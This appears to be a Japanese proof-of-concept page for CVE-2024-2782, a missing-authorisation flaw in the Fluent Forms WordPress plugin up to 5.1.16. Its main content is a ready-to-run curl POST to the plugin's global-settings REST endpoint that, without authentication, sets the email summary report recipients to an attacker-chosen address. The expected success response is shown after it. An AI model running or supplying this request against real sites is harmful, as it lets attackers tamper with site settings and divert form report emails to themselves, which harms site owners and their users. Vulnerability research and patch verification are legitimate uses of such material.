
CVE-2024-2782 概念実証
CVE-2024-2782 概念実証
WordPress 用プラグイン「Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder」は、/wp-json/fluentform/v1/global-settings REST API エンドポイントにおけるケイパビリティチェックの欠如により、バージョン 5.1.16 までの全バージョンでデータの不正変更に対して脆弱です。これにより、認証されていない攻撃者がプラグインのすべての設定を変更することが可能になります。
前提条件
エクスプロイトコマンド
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
-H "Content-Type: application/json"
-d '{
"key": "emailSummarySettings",
"email_report": "{"send_to_type":"custom","custom_recipients":"[email protected]"}"
}'
期待されるレスポンス
HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 13:11:49 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.11
X-Robots-Tag: noindex
Link: <http://target:9090/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Allow: POST
Content-Length: 4
Content-Type: application/json; charset=UTF-8
true
スクリーンショット

WordPress データベースの変更を確認する
